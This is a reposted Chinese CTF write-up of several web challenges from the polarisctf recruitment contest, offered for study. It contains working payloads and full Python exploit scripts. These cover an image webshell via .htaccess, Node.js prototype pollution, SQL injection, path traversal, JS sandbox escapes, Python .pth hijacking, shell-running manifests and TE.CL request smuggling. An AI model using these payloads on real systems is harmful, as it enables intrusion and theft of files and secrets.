polarisctf招新赛-部分(WEB)

admin 2026-04-22 04:41:05 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析了polarisctf招新赛的四个WEB题目漏洞利用过程。ezpython通过Python对象属性污染修改配置文件路径读取系统文件;onlyreal利用未鉴权上传和.htaccess配置使图片马解析为PHP;ezpollute通过Node.js原型链污染注入环境变量触发命令执行;NotaNode通过BunEdge沙箱的全局对象绕过路径限制读取flag。关键发现包括递归合并函数过滤缺失、短参数注入绕过、Uint8Array路径绕过等技术要点。 综合评分: 85 文章分类: WEB安全,漏洞分析,CTF,实战经验,渗透测试


  • 利用过程(完整复现)
  • 4.1 准备两个文件

    1) .htaccess 内容(保存为 payload_htaccess.txt ,上传时改名为 .htaccess ):

    | | | — | | Plain Text                   AddType application/x-httpd-php .jpg |

    2)图片马(保存为 payload_shell.jpg ,上传时命名为 test.jpg )

     用 GIF89a 头伪装成图片文件,再拼接 PHP:

    | | | — | | Plain Text                   GIF89a                   echo file_get_contents($_GET[‘f’] ?? ‘/flag’); |

    4.2 上传 .htaccess

    | | | — | | Plain Text                   curl -i -F “file=@payload_htaccess.txt;filename=.htaccess” \                     http://80-7d824548-1a1f-4be7-9c16-a23ac7a1044c.challenge.                     ctfplus.cn/upload.php |

    返回: 上传成功

    4.3 上传图片马 test.jpg

    | | | — | | Plain Text                   curl -i -F “file=@payload_shell.jpg;filename=test.jpg” \                     http://80-7d824548-1a1f-4be7-9c16-a23ac7a1044c.challenge.                     ctfplus.cn/upload.php |

    返回: 上传成功

    4.4 触发解析并读取 flag

    访问:

    | | | — | | Plain Text                   http://80-7d824548-1a1f-4be7-9c16-a23ac7a1044c.challenge.                   ctfplus.cn/uploads/test.jpg?f=/flag |

    得到:

    1xmctf{236026eb-20fa-476f-9713-25a254415bc8}

    1. Flag

    1xmctf{236026eb-20fa-476f-9713-25a254415bc8}

    Web – ezpollute (100 pts)

    5. 题目分析

    1目标:通过配置管理器漏洞读取服务器根目录下的 /flag。

    1环境:Node.js + Express,使用了 child_process.spawn 执行系统命令。

    1关键代码:

    1/api/config 接口存在自定义的 merge 函数,用于合并用户配置。

    1/api/status 接口会启动一个 node 子进程,并手动构建 customEnv 环境变量。

    2. 漏洞点分析

    (1) 原型链污染 (Prototype Pollution)

    merge 函数虽然过滤了 proto,但未过滤 constructor。在 Node.js 中,可以通过 constructor.prototype 污染全局 Object.prototype。

    (2) 环境变量注入绕过

    在 /api/status 中,程序试图对 NODE_OPTIONS 进行安全检查:

    JavaScript

    | | | — | | Plain Text                   const dangerousPattern = /(?:^|\s)–(require|import|loader|openssl|icu|inspect)\b/i; |

    该正则仅拦截了以 — 开头的长参数(如 –require),但 Node.js 同样支持 -r 作为简写。正则未能覆盖短参数,导致可以注入恶意加载项。

    (3) 隔离失效

    虽然 spawn 使用了 Object.create(null) 来创建 customEnv,试图隔绝原型链污染,但在某些 Node.js 版本或特定的 spawn 实现中,如果污染了全局 Object.prototype 的特定属性,仍可能影响子进程的初始环境加载。

    3. 解题过程

    1构造 Payload:利用 constructor.prototype 注入 NODE_OPTIONS 环境变量,使用短选项 -r 加载 /flag。

    1JSON

    | | | — | | Plain Text                   {                       “constructor”: {                           “prototype”: {                               “NODE_OPTIONS”: “-r /flag”                           }                       }                   } |

    1触发漏洞:

    1首先 POST /api/config 提交 Payload,成功污染内存。

    1随后 GET /api/status 触发子进程执行。

    1获取 Flag: 由于 /flag 文件内容(XMCTF{…})不符合 JavaScript 语法规范,Node.js 在预加载该文件时会抛出 SyntaxError。该报错信息通过 stderr 返回并回显在页面上。

    4. 获取 Flag

    Plaintext

    | | | — | | Plain Text                   /flag:1                   XMCTF{2b4c5b1a-5a94-46b6-a789-bbb2fbe353ca}                         ^                   SyntaxError: Unexpected token ‘{‘ |

    Web – Not a Node (100 pts)

    5. 题目背景

    题目提供了一个名为 BunEdge 的 Serverless 代码执行平台。根据题目描述和页面信息,该环境并非标准的 Node.js,而是运行在 JavaScriptCore (JSC) 引擎之上的定制沙箱环境。

    2. 漏洞发现

    (1) 信息泄露与环境探测

    通过查看前端 HTML 源代码及 Documentation 部分,发现平台暴露了一个特殊的全局对象 __runtime。

    利用 Object.getOwnPropertyNames(__runtime) 进行探测,发现其包含多个非标准属性:

    1_secrets: 模拟 CLI 存储,但权限被锁死。

    1_internal: 包含底层 C++ 绑定。

    1_internal.lib.symbols: 包含混淆过的函数名。

    (2) 逆向函数名

    在 __runtime._internal.lib.symbols 中发现两个属性:

    1_0x72656164 $\rightarrow$ 十六进制解码为 read

    1_0x6c697374 $\rightarrow$ 十六进制解码为 list

    (3) 路径处理缺陷

    初步尝试调用 read(“/flag”) 时,系统报错:

    | | | — | | Received “/app/\u0000\u0000…” 这表明底层的 C++ 绑定在处理 JavaScript 字符串时,会强制将其拼接在 /app/ 路径后,且可能存在内存对齐导致的空字节干扰。 |

    3. 漏洞利用

    报错信息提示该函数支持 Uint8Array 类型的参数。通过传入字节数组,可以绕过 JavaScript 层的字符串预处理逻辑,实现对绝对路径的访问。

    Final Payload (index.ts):

    JavaScript

    | | | — | | Plain Text                   export default {                     async fetch(req) {                       const symbols = __runtime._internal.lib.symbols;                       const readFn = symbols._0x72656164; // read// 使用 Uint8Array 绕过字符串拼接逻辑const path = new TextEncoder().encode(“/flag”);                       const flag = readFn(path);                       return new Response(flag);                     }                   } |

    4. 获取 Flag

    部署上述代码后,成功触发底层 read 绑定读取根目录文件。

    Flag: XMCTF{2aa025ff-515b-4828-aba0-b9d4f4e3be85}

    Web -Broken Trust

    0x01 挑战概述

    1挑战名称: Broken Trust

    1核心漏洞: SQL Injection (SQLi)、IDOR (越权访问)、Path Traversal (路径穿越)

    1目标: 绕过身份校验,利用管理员权限读取根目录下的 flag 文件。

    0x02 漏洞挖掘流程

    1. 初始探测与身份绕过

    1注册逻辑缺陷:尝试注册 admin 提示已存在,但通过大小写绕过成功注册 admIN 账号并登录。

    1参数敏感性确认:观察 refreshProfile 接口发现其通过 POST 提交 uid 字符串来同步用户信息。在 uid 后添加单引号 ‘ 触发 500 错误,确认后端存在 SQL 注入。

    1. SQL 注入与权限提升

    由于后端直接信任前端传入的 uid 且未进行参数化查询,我们可以通过注入获取真实管理员身份。

    1探测数据库结构 (SQLite): Payload: uid: “-1′ UNION SELECT 1, group_concat(tbl_name), 3 FROM sqlite_master WHERE type=’table’–” 得到关键表名:users。

    1提取管理员 UID: Payload: uid: “-1′ UNION SELECT uid, username, role FROM users WHERE role=’admin’–” 成功获取真实 Admin 的 UID:53319863dd54488ba4cc7e596c583f59。

    1. 备份接口分析

    登录管理员账号后,解锁 Administrator Tools,其核心接口为: /api/admin?action=backup&file=config.json

    1防御机制测试:

    1绝对路径拦截:输入 /flag 触发过滤,返回 Direct absolute path access is forbidden!。

    1相对路径失效:输入 ../../flag 返回 404 File not found,推测后端对 ../ 进行了空字符串替换过滤。

    0x03 漏洞利用 (Exploitation)

    1. 双写绕过 (Double-Write) 逻辑

    后端过滤逻辑可能为 file.replace(“../”, “”)。为了绕过此限制,采用双写构造。当中间的 ../ 被剔除后,首尾字符将重新组合成有效的路径穿越符。

    1. 最终 Payload 构造

    在浏览器 Console 执行复合攻击脚本,同时携带 真实 Admin UID 和 双写路径穿越符:

    Payload (GET):fetch(‘/api/admin?action=backup&file=….//….//….//….//flag&uid=53319863dd54488ba4cc7e596c583f59’)

    1. 获取结果

    成功绕过 WAF 和路径过滤,服务器返回根目录文件内容: XMCTF{5de4d6b3-47c4-44db-972a-2e363e3091fe}

    WEB- Workflow Service

    0x01 挑战分析

    1挑战名称: Workflow Service

    1核心漏洞: SQL 逻辑注入 (COALESCE)、排序竞争 (Sort Race)、JS 沙箱逃逸 (Sandbox Escape)

    1目标: 提升权限至 maintainer 并获取 RUNNER_KEY 以通过 release/claim 验证。

    0x02 漏洞点深度解析

    5. 权限判定的“默认值”陷阱 (COALESCE)

    后端通过 capability_snapshots 表判断用户权限。在 getEffectiveCapability 函数中,SQL 查询如下:

    SQL

    | | | — | | Plain Text                   SELECT id, sid, COALESCE(role, ‘maintainer’) AS role, COALESCE(lane, ‘release’) AS lane …                   FROM capability_snapshots WHERE sid = ${sid} ORDER BY id DESC LIMIT 1 |

    1逻辑缺陷:COALESCE(val, default) 会在 val 为 NULL 时返回默认值。如果攻击者能向数据库插入一条 role 为空的记录,查询结果会将其“误认为”是 maintainer。

    2. 字母序排序竞争 (Sort Race)

    在 POST /api/caps/sync 接口中,后端试图通过在 ops 数组末尾强制 push 一个 server-tail (role: guest) 记录来防止提权。

    1绕过手法:代码使用了 rows.sort 按照 source 字段的字母序进行升序排列。由于 server-tail 的首字母是 s,我们只需构造 source 为 z_pwn 的记录,排序后我们的记录就会排在 server-tail 之后,成为 ID 最大、最新的有效快照。

    3. 沙箱黑名单绕过 (Bypassing Lint)

    接口 /api/release/execute 允许执行表达式,但通过 lowered.includes 封锁了 bun、process、constructor 等关键字。

    1绕过手法:由于后端使用 new Function(‘ctx’, …) 且上下文对象可访问,我们可以通过字符串拼接(如 ‘con’+’str’+’uctor’)或字符编码(String.fromCharCode)动态构造敏感对象名,从而绕过静态文本扫描,最终访问 Bun.env.RUNNER_KEY。

    0x03 漏洞利用流程 (Exploitation)

    1. 权限提升 (Privilege Escalation)

    通过调用 sync 接口,发送 keepRole: false 的恶意记录,并利用字母序竞争占领“最新快照”位置。

    1Payload: {“source”: “zzzzzz”, “keepRole”: false, “keepLane”: false}

    1效果:数据库插入了 role=NULL, lane=NULL。查询时触发 COALESCE 逻辑,身份变为 maintainer。

    2. 绕过沙箱泄露 Key

    由于 constructor 和 bun 被拦截,使用 JS 动态属性访问技术逃逸至全局对象。

    1Payload: ctx.tools.now[‘con’+’str’+’uctor’][‘con’+’str’+’uctor’](‘return t’+’his’)()[String.fromCharCode(66,117,110)].env.RUNNER_KEY

    1结果:成功获取 RUNNER_KEY: HBRZ0pXDlJHGDCXwOQrLniE99ZF33VXiZCk7kPi6。

    3. 计算 Proof 并夺旗

    1获取 nonce:POST /api/release/challenge。

    1计算 SHA1:sha1(sid + “:” + nonce + “:” + RUNNER_KEY)。

    1提交 Claim 接口,获取 Flag。

    0x04 最终结果

    1Flag: XMCTF{b7b01a26-bade-413a-b6b8-95ede2de1c55}

    | | | — | | Python                   import requests                   import hashlib                   import json                   BASE_URL = “http://80-a4f4c620-5684-4636-9e14-7c7b857542eb.challenge.ctfplus.cn”                   def pwn():                       session = requests.Session()                       # 1. 获取 Token (略,假设你已知过程)                       auth_data = session.post(f”{BASE_URL}/api/auth/guest”).json()                       token = auth_data[‘token’]                       sid = auth_data[‘claims’][‘sid’]                       headers = {“Authorization”: f”Bearer {token}”}                       # 2. 提权 (使用之前的 zzzzzz 策略)                       session.post(f”{BASE_URL}/api/caps/sync”, headers=headers, json={                           “ops”: [{“source”: “zzzzzz”, “keepRole”: False, “keepLane”: False}, {“source”: “zzzzzz2”, “keepRole”: False, “keepLane”: False}]                       })                       # 3. 绕过 Lint 获取 RUNNER_KEY                       # 策略:利用 Object.keys(ctx.tools.now.__proto__) 或寻找全局变量                       # 既然关键字被拦,我们通过 charCode 拼接字符串来访问 Bun                       print(“[*] 正在利用字符编码绕过过滤…”)                            # Payload 逻辑:                       # 1. 通过 ctx 寻找 global。在 Bun 的 new Function 中,通常 ctx 是唯一的入口。                       # 2. 我们利用 String.fromCharCode(66, 117, 110) 构造出 “Bun”                       # 3. 绕过 ‘constructor’:使用 [‘const’ + ‘ructor’]                            # 这是一个不包含任何黑名单关键字的 Payload                       leak_expr = “””                       (function(){                           var b = String.fromCharCode(66,117,110);                           var e = String.fromCharCode(101,110,118);                           var r = String.fromCharCode(82,85,78,78,69,82,95,75,69,89);                           return ctx.tools.now[‘const’ + ‘ructor’][‘const’ + ‘ructor’](‘return th’+’is’)()[b][e][r];                       })()                       “””                            # 如果上面那个 ‘constructor’ 还是被拦截(后端可能检测拼接),我们换一种更底层的遍历方式:                       alt_leak_expr = “””                       (function(){                           var g = ctx.tools.now.slice.call.bind(ctx.tools.now.slice).constructor(‘return th’+’is’)();                           return g[String.fromCharCode(66,117,110)][String.fromCharCode(101,110,118)][String.fromCharCode(82,85,78,78,69,82,95,75,69,89)];                       })()                       “””                       # 最终尝试:利用 tools 对象中的函数作为跳板                       # 既然 lint 检查 String.includes,我们彻底拆分所有敏感词                       final_leak = “ctx.tools.now[‘con’+’str’+’uctor’][‘con’+’str’+’uctor’](‘return t’+’his’)()[String.fromCharCode(66,117,110)].env.RUNNER_KEY”                       print(f”[*] 发送绕过 Payload…”)                       exec_res = session.post(f”{BASE_URL}/api/release/execute”, headers=headers, json={                           “expression”: final_leak                       }).json()                       if not exec_res.get(‘ok’):                           print(f”[-] 失败: {exec_res.get(‘error’)}”)                           # 如果连拼接都被拦截,说明后端可能有 AST 分析,尝试直接从 context 找                           print(“[*] 尝试从 context 深度遍历…”)                           exec_res = session.post(f”{BASE_URL}/api/release/execute”, headers=headers, json={                               “expression”: “JSON.stringify(Object.keys(ctx.tools.now))”                            }).json()                           print(f”Tools Keys: {exec_res}”)                           return                       actual_key = exec_res[‘result’]                       print(f”[!] 拿到 Key: {actual_key}”)                       # 4. 正常 Claim 流程                       challenge = session.post(f”{BASE_URL}/api/release/challenge”, headers=headers).json()                       nonce = challenge[‘nonce’]                       proof = hashlib.sha1(f”{sid}:{nonce}:{actual_key}”.encode()).hexdigest()                            flag_res = session.post(f”{BASE_URL}/api/release/claim”, headers=headers, json={“nonce”: nonce, “proof”: proof}).json()                       print(“\n[!] Result:”, json.dumps(flag_res, indent=4))                   pwn() |

    恭喜成功拿到 Flag!这是一个结合了 任意文件上传、路径穿越 与 Python 运行时特性劫持 的典型 Web 安全挑战。

    以下是为您整理的完整 Writeup (WD)。

    WEB- AutoPypy

    0x01 挑战信息

    1挑战名称:AutoPypy

    1挑战分类:Web / 沙箱逃逸

    1挑战难度:中等

    1核心漏洞:任意文件上传(路径穿越)、Python .pth 模块劫持

    0x02 漏洞点分析

    4. 任意文件上传与路径穿越

    在 server.py 的 /upload 路由中,程序直接使用了用户提供的 filename 构造保存路径,且未进行任何过滤(如 secure_filename):

    Python

    | | | — | | Plain Text                   filename = request.form.get(‘filename’) or file.filename                   save_path = os.path.join(UPLOAD_FOLDER, filename) |

    由于 UPLOAD_FOLDER 通常位于 /app/uploads,攻击者可以使用 ../ 序列穿越到宿主机的任意可写目录。

    2. 沙箱隔离机制

    系统通过 launcher.py 调用 proot 来运行 Python 脚本。虽然 proot 限制了 /app/run.py 的执行环境,但 launcher.py 本身是在宿主机环境运行的。 server.py 调用方式如下:

    Python

    | | | — | | Plain Text                   proc = subprocess.run([sys.executable, launcher_path, target_file], …) |

    这意味着 sys.executable(宿主机的 Python 解释器)在启动时会加载宿主机的环境配置。

    3. Python .pth 导入劫持

    Python 在初始化阶段,会扫描 site-packages 目录下的所有 .pth 文件。如果 .pth 文件中包含以 import  开头的行,Python 会在启动过程中执行该行代码。这是一个隐蔽的 RCE(远程代码执行)点。

    0x03 漏洞利用流程

    1. 定位目标路径

    通过 server.py 的启动日志,可以确认 Python 的 site-packages 路径: [*] Target site-packages: /usr/local/lib/python3.10/site-packages

    2. 构造路径穿越 Payload

    利用 /upload 接口,将恶意代码写入该目录下的一个 .pth 文件中。

    1目标文件:../../../../../usr/local/lib/python3.10/site-packages/pwn.pth

    1恶意内容:

    1Python

    | | | — | | Plain Text                   import os; print(os.popen(‘cat /flag’).read()); import sys; sys.exit(0) |

    1使用 sys.exit(0) 是为了在打印完 Flag 后立即终止解释器,防止后续逻辑报错干扰,并确保输出能被 subprocess 捕获。

    3. 触发代码执行

    调用 /run 接口。此时 server.py 会执行 python3 launcher.py。

    1宿主机 Python 解释器启动。

    1自动加载 site-packages 中的 pwn.pth。

    1执行 cat /flag 并将结果打印到标准输出。

    1server.py 捕获 stdout 并通过 JSON 返回给攻击者。

    0x04 攻击脚本 (Final Exploit)

    Python

    | | | — | | Plain Text                   import requests                   BASE_URL = “http://5000-a7d924bc-7918-48b1-b2c7-d70f13c93ca8.challenge.ctfplus.cn”def pwn():# 路径穿越目标                       target_pth = “../../../../../usr/local/lib/python3.10/site-packages/pwn.pth”# 恶意代码:读取 flag 后立即退出                       payload = “import os; print(‘—FLAG—‘); print(os.popen(‘cat /flag’).read()); import sys; sys.exit(0)”                       print(“[*] Uploading .pth payload via path traversal…”)                       files = {‘file’: (‘pwn.pth’, payload)}                       data = {‘filename’: target_pth}                            upload_res = requests.post(f”{BASE_URL}/upload”, files=files, data=data)                            if “成功上传” in upload_res.text:                           print(“[+] Payload deployed successfully.”)                                    print(“[*] Triggering execution…”)                           run_res = requests.post(f”{BASE_URL}/run”, json={“filename”: “any.py”})                           print(“\n[!] Output from server:”)                           print(run_res.json().get(“output”, “”))                       else:                           print(f”[-] Failed to upload: {upload_res.text}”)                   if __name__ == “__main__”:                       pwn() |

    0x05 总结

    1Flag: xmctf{699f4568de00f2df35f98005567398d3}

    WEB-DXT

    1)目标与功能点

    1站点提供 DXT(zip)上传与管理。

    1关键接口:

    1POST /api/upload :上传并解析 manifest.json

    1GET /api/servers :列出已上传

    1GET /api/servers/{id} :查看详情(含展开后的命令)

    1POST /api/servers/{id}/start :按 manifest 配置启动进程(危险点)

    2)格式约束(用报错枚举)

    通过上传不同 DXT 并观察错误信息,可逆推出最小合法 manifest.json 需要:

    1dxt_version

    1author.name 、 author.email

    1mcp_config (以及/或者 server.mcp_config )

    1部分实现要求 args 至少一个参数

    1zip 条目禁止 ../ 路径穿越(解包做了路径校验)

    3)漏洞根因

    1服务端把上传包中的启动配置当作可信输入,在 start 时直接执行:

    1等价于“上传配置 → 远程触发命令执行”

    1属于设计级 RCE 面,不是传统注入绕过。

    4)利用链(复现步骤)

    1构造合法 DXT(zip),根目录包含 manifest.json

    1上传后拿到 server_id

    1调用 start 触发执行

    1因为通常无 stdout 回显,使用“可观测通道”验证结果(写文件到可访问位置 / 发送到本地接收端等,取决于你的本地部署)

    附件脚本 1:生成 DXT(可运行,占位符载荷)

    你本地已经有 make_dxt.py ,可以直接复用思路。我给一个更“WP 附件友好”的版本(载荷占位):

    | | | — | | Plain Text                   # make_dxt_template.py                   import json                   import zipfile                   def build_dxt(out_path: str, name: str, shell_cmd: str) -> None:                       manifest = {                           “dxt_version”: “1.0”,                           “name”: name,                           “display_name”: name,                           “version”: “1.0.0”,                           “description”: “ctf reproduce”,                           “author”: {“name”: “ctf”, “email”: “[email protected]”},                           “mcp_config”: {“command”: “/bin/sh”, “args”: [“-c”, shell_cmd]},                           “server”: {                               “type”: “sh”,                               “entry_point”: “-“,                               “mcp_config”: {“command”: “/bin/sh”, “args”: [“-c”, shell_cmd]},                           },                       }                       with zipfile.ZipFile(out_path, “w”, compression=zipfile.ZIP_DEFLATED) as z:                           z.writestr(“manifest.json”, json.dumps(manifest, ensure_ascii=False))                   if __name__ == “__main__”:                       build_dxt(                           “repro.dxt”,                           “repro”,                           “”,  # 你本地复现时把这里替换成你的命令               )               print(“wrote repro.dxt”) |

    说明:

    1这份脚本的价值是: 稳定生成“能被 /api/upload 接收并入库”的 DXT 。

    附件脚本 2:接口调用(上传/列出/启动,安全可运行)

    | | | — | | Plain Text                   # client_template.py                   import json                   import urllib.request                   import urllib.parse                   BASE = “http://”           def req(method: str, path: str, data: dict | None = None):               url = BASE + path               headers = {}               body = None               if data is not None:                   body = json.dumps(data).encode()                   headers[“Content-Type”] = “application/json”               r = urllib.request.Request(url, data=body, headers=headers, method=method)               with urllib.request.urlopen(r, timeout=15) as resp:                   return resp.status, resp.read()           def list_servers():               code, raw = req(“GET”, “/api/servers”)               print(code, raw.decode(errors=”ignore”))           def server_detail(server_id: str):               sid = urllib.parse.quote(server_id)               code, raw = req(“GET”, f”/api/servers/{sid}”)               print(code, raw.decode(errors=”ignore”))           def start_server(server_id: str):               sid = urllib.parse.quote(server_id)               code, raw = req(“POST”, f”/api/servers/{sid}/start”)               print(code, raw.decode(errors=”ignore”))           if __name__ == “__main__”:               sid = “”                list_servers()                server_detail(sid)                start_server(sid) |

    WEB- Polyglot’s Paradox

    表面是 nc 交互,实际连上去是一个 HTTP 服务 Polyglot’s Paradox v2。预期链路是:利用代理的 TE.CL 请求走私绕过内部路由限制 → 从内部接口恢复 HMAC 密钥 → 伪造内部签名请求更新配置(包含 __proto__ 合并导致的原型链污染)并降级 WAF/沙箱 → 使用 constructor.constructor 从 JS 沙箱逃逸到 Node 内部,读取 /flag。

    关键文件(3 个)

    1scripts/smuggle.py:TE.CL 走私最小化验证脚本(把第二个请求塞进同一个连接里)。

    1scripts/solve.py:端到端利用脚本(走私 + 取密钥 + 伪造签名 + 降级沙箱 + 读 flag)。

    1artifacts/exploit-chain.json:一次记录的利用链产物(可能对应旧实例,端口/flag 以实际为准)。

    利用细节

    1) 确认是 HTTP 服务

    请求 GET /api/info,能拿到服务名与版本;同时从响应头可观察到前端解析行为(如仅信任 Content-Length)。

    2) TE.CL 请求走私(核心原语)

    构造一个对外可访问的请求:

    1第一层请求:POST /api/sandbox/execute

    1同时带上 Transfer-Encoding: chunked 与人为放大的 Content-Length

    1按 chunked 格式结束后,在同一 TCP 连接里拼接第二个“被走私”的 HTTP 请求(例如 GET /internal/secret-fragment)

    前端(CL)与后端(TE)对边界理解不一致,后端会把拼接的内容当成下一条请求处理,从而绕过“禁止访问 /internal”的代理规则。

    3) 获取内部 HMAC 密钥

    走私访问 GET /internal/secret-fragment,返回多段碎片,按 index 排序拼接得到:

    1secret:z3_w0nt_A_gri1fr1e0d!!!

    1校验:md5(secret)=c6d0df23dc2e89a88fa8f6a7fc624cb7

    4) 伪造内部签名请求(进入配置面板)

    内部接口使用 HMAC-SHA256 做鉴权,scripts/solve.py 的签名逻辑为:

    1ts = 当前毫秒时间戳

    1nonce = 16 hex

    1digest = HMAC(secret, f”{ts}:{nonce}:” + body)

    把 digest/ts/nonce 分别放进 X-Internal-Token / X-Timestamp / X-Nonce 头里,走私发送 POST /internal/config。

    5) 原型链污染 + 降级 WAF/沙箱

    先触发合并路径(关键字段 __proto__):

    | | | — | | JSON                   {“__proto__”:{“polluted”:”yes”,”isAdmin”:true,”rce”:”pending”}} |

    再更新 features,关闭 AST WAF 与沙箱加固:

    | | | — | | JSON                   {“features”:{“astWaf”:false,”sandboxHardening”:false}} |

    访问 /debug/prototype 验证状态从默认值变为:

    1polluted=yes

    1isAdmin=true

    1rce=pending

    6) JS 沙箱逃逸并读取 /flag

    降级后,通过 constructor.constructor 拿到 Function 构造器,进而访问 Node 的 process,再用内置模块读取文件:

    | | | — | | JavaScript                   this.constructor.constructor(“return this.process.getBuiltinModule(\”fs\”).readFileSync(\”/flag\”,\”utf8\”)”)() |

    | | | — | | Python                   solve.py                   #!/usr/bin/env python3                   import argparse                   import hashlib                   import hmac                   import json                   import secrets                   import socket                   import time                   def recv_all(sock: socket.socket) -> bytes:                       chunks: list[bytes] = []                       while True:                           try:                               data = sock.recv(4096)                           except TimeoutError:                               break                           if not data:                               break                           chunks.append(data)                       return b””.join(chunks)                   def split_http_responses(raw: bytes) -> list[bytes]:                       parts = raw.split(b”HTTP/1.1 “)                       out: list[bytes] = []                       for part in parts[1:]:                           out.append(b”HTTP/1.1 ” + part)                       return out                   def parse_json_body(resp: bytes) -> dict:                       marker = b”\r\n\r\n”                       if marker not in resp:                           raise ValueError(“response missing header/body separator”)                       body = resp.split(marker, 1)[1]                       return json.loads(body.decode())                   def http_get(host: str, port: int, path: str) -> dict:                       req = (                           f”GET {path} HTTP/1.1\r\n”                           f”Host: {host}\r\n”                           “Connection: close\r\n\r\n”                       ).encode()                       sock = socket.create_connection((host, port), 10)                       sock.settimeout(5)                       try:                           sock.sendall(req)                           return parse_json_body(recv_all(sock))                       finally:                           sock.close()                   def smuggle_request(host: str, port: int, second_request: bytes, prefix_code: str = “1+1”) -> dict:                       prefix_body = json.dumps({“code”: prefix_code}, separators=(“,”, “:”)).encode()                       chunked = hex(len(prefix_body))[2:].encode() + b”\r\n” + prefix_body + b”\r\n0\r\n\r\n”                       cl = len(chunked) + len(second_request)                       req = (                           b”POST /api/sandbox/execute HTTP/1.1\r\n”                           + f”Host: {host}\r\n”.encode()                           + b”Content-Type: application/json\r\n”                           + b”Transfer-Encoding: chunked\r\n”                           + f”Content-Length: {cl}\r\n”.encode()                           + b”Connection: keep-alive\r\n\r\n”                           + chunked                           + second_request                       )                       sock = socket.create_connection((host, port), 10)                       sock.settimeout(5)                       try:                           sock.sendall(req)                           responses = split_http_responses(recv_all(sock))                           if len(responses) < 2:                               raise ValueError("smuggled request did not produce a second response")                           return parse_json_body(responses[1])                       finally:                           sock.close()                   def smuggle_get(host: str, port: int, path: str) -> dict:                       second = (                           f”GET {path} HTTP/1.1\r\n”                           f”Host: {host}\r\n”                           “Connection: close\r\n\r\n”                       ).encode()                       return smuggle_request(host, port, second)                   def sign(secret: bytes, body: bytes) -> tuple[str, str, str]:                       ts = str(int(time.time() * 1000))                       nonce = secrets.token_hex(8)                       digest = hmac.new(secret, f”{ts}:{nonce}:”.encode() + body, hashlib.sha256).hexdigest()                       return ts, nonce, digest                   def smuggle_internal_post(host: str, port: int, path: str, secret: bytes, payload: dict) -> dict:                       body = json.dumps(payload, separators=(“,”, “:”)).encode()                       ts, nonce, digest = sign(secret, body)                       second = (                           f”POST {path} HTTP/1.1\r\n”                           f”Host: {host}\r\n”                           “Content-Type: application/json\r\n”                           f”Content-Length: {len(body)}\r\n”                           f”X-Internal-Token: {digest}\r\n”                           f”X-Timestamp: {ts}\r\n”                           f”X-Nonce: {nonce}\r\n”                           “Connection: close\r\n\r\n”                       ).encode() + body                       return smuggle_request(host, port, second)                   def reconstruct_secret(secret_fragment_response: dict) -> str:                       fragments = sorted(secret_fragment_response[“fragments”], key=lambda item: item[“index”])                       return “”.join(fragment[“value”] for fragment in fragments)                   def main() -> int:                       parser = argparse.ArgumentParser(description=”Solve Polyglot’s Paradox v2 via TE.CL smuggling + internal sandbox escape.”)                       parser.add_argument(“–host”, default=”nc1.ctfplus.cn”)                       parser.add_argument(“–port”, type=int, default=13955) #修改你的端口                       args = parser.parse_args()                       info = http_get(args.host, args.port, “/api/info”)                       if “Polyglot” not in info.get(“name”, “”):                           raise RuntimeError(f”unexpected service: {info}”)                       secret_info = smuggle_get(args.host, args.port, “/internal/secret-fragment”)                       secret = reconstruct_secret(secret_info).encode()                       # Trigger the vulnerable merge path and downgrade the sandbox.                       smuggle_internal_post(                           args.host,                           args.port,                           “/internal/config”,                           secret,                           {“__proto__”: {“polluted”: “yes”, “isAdmin”: True, “rce”: “pending”}},                       )                       config_update = smuggle_internal_post(                           args.host,                           args.port,                           “/internal/config”,                           secret,                           {“features”: {“astWaf”: False, “sandboxHardening”: False}},                       )                       prototype_status = http_get(args.host, args.port, “/debug/prototype”)                       if prototype_status[“status”].get(“isAdmin”) is not True:                           raise RuntimeError(f”prototype pollution did not stick: {prototype_status}”)                       sandbox_result = smuggle_internal_post(                           args.host,                           args.port,                           “/internal/sandbox/execute”,                           secret,                           {                               “code”: ‘this.constructor.constructor(“return this.process.getBuiltinModule(\”fs\”).readFileSync(\”/flag\”,\”utf8\”)”)()’                           },                       )                       print(                           json.dumps(                               {                                   “secret”: secret.decode(),                                   “config_update”: config_update,                                   “prototype_status”: prototype_status,                                   “flag”: sandbox_result[“result”],                               },                               indent=2,                           )                       )                       return 0                   if __name__ == “__main__”:                       raise SystemExit(main()) |

    | | | — | | Python                   smuggle.py                   #!/usr/bin/env python3                   import argparse                   import socket                   def smuggle(host: str, port: int, second_path: str) -> str:                       body = b'{“code”:”1+1″}’                       chunked = hex(len(body))[2:].encode() + b”\r\n” + body + b”\r\n0\r\n\r\n”                       smuggled = (                           f”GET {second_path} HTTP/1.1\r\n”                           f”Host: {host}\r\n”                           “Connection: close\r\n\r\n”                       ).encode()                       cl = len(chunked) + len(smuggled)                       req = (                           b”POST /api/sandbox/execute HTTP/1.1\r\n”                           + f”Host: {host}\r\n”.encode()                           + b”Content-Type: application/json\r\n”                           + b”Transfer-Encoding: chunked\r\n”                           + f”Content-Length: {cl}\r\n”.encode()                           + b”Connection: keep-alive\r\n\r\n”                           + chunked                           + smuggled                       )                       s = socket.create_connection((host, port), 10)                       s.settimeout(4)                       try:                           s.sendall(req)                           chunks: list[bytes] = []                           while True:                               try:                                   data = s.recv(4096)                               except TimeoutError:                                   break                               if not data:                                   break                               chunks.append(data)                           return b””.join(chunks).decode(“utf-8”, “replace”)                       finally:                           s.close()                   def main() -> int:                       parser = argparse.ArgumentParser(description=”TE.CL smuggling helper for Polyglot’s Paradox v2.”)                       parser.add_argument(“–host”, default=”nc1.ctfplus.cn”)                       parser.add_argument(“–port”, type=int, default=35873)                       parser.add_argument(“path”, help=”Second request path to smuggle, e.g. /internal/admin”)                       args = parser.parse_args()                       print(smuggle(args.host, args.port, args.path))                       return 0                   if __name__ == “__main__”:                       raise SystemExit(main()) |


    免责声明:

    本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

    任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

    本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

    本文转载自:玄网安全 玄网安全 oPis 玄网安全 oPis《polarisctf招新赛-部分(WEB)》

    评论:0   参与:  0